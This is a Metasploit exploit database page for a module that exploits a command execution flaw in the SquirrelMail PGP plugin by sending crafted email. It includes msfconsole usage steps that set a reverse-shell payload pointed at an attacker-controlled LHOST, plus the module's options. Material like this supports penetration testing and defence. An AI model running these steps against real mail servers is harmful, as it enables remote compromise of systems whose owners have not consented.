SquirrelMail PGP Plugin command execution (SMTP) | Metasploit Exploit Database (DB)

SquirrelMail PGP Plugin command execution (SMTP)

This module exploits a command execution vulnerability in the PGP plugin of SquirrelMail. This flaw was found while quickly grepping the code after release of some information at http://www.wslabi.com/. Later, iDefense published an advisory .... Reading an email in SquirrelMail with the PGP plugin activated is enough to compromise the underlying server. Only "cmd/unix/generic" payloads were tested.

Search Other Modules


Exploit Rank

  • Manual

Exploit Authors

  • Nicob < nicob [at] nicob.net >

Vulnerability References


Exploit Targets

  • 0 - SquirrelMail PGP plugin < 2.1 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/unix/webapp/squirrelmail_pgp_plugin
msf exploit(squirrelmail_pgp_plugin) > show payloads
msf exploit(squirrelmail_pgp_plugin) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(squirrelmail_pgp_plugin) > set LHOST [MY IP ADDRESS]
msf exploit(squirrelmail_pgp_plugin) > set MAILTO [STRING]
msf exploit(squirrelmail_pgp_plugin) > set RHOST [TARGET IP]
msf exploit(squirrelmail_pgp_plugin) > set SUBJECT [STRING]
msf exploit(squirrelmail_pgp_plugin) > exploit


Exploit Module Options

MAILFROM The FROM address of the e-mail (default: random@example.com)
MAILTO The TO address of the email
PASSWORD SMTP Password for sending email
RHOST The SMTP server to send through
RPORT The SMTP server port (e.g. 25, 465, 587, 2525) (default: 25)
SUBJECT Subject line of the email
USERNAME SMTP Username for sending email
VERBOSE Display verbose information
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)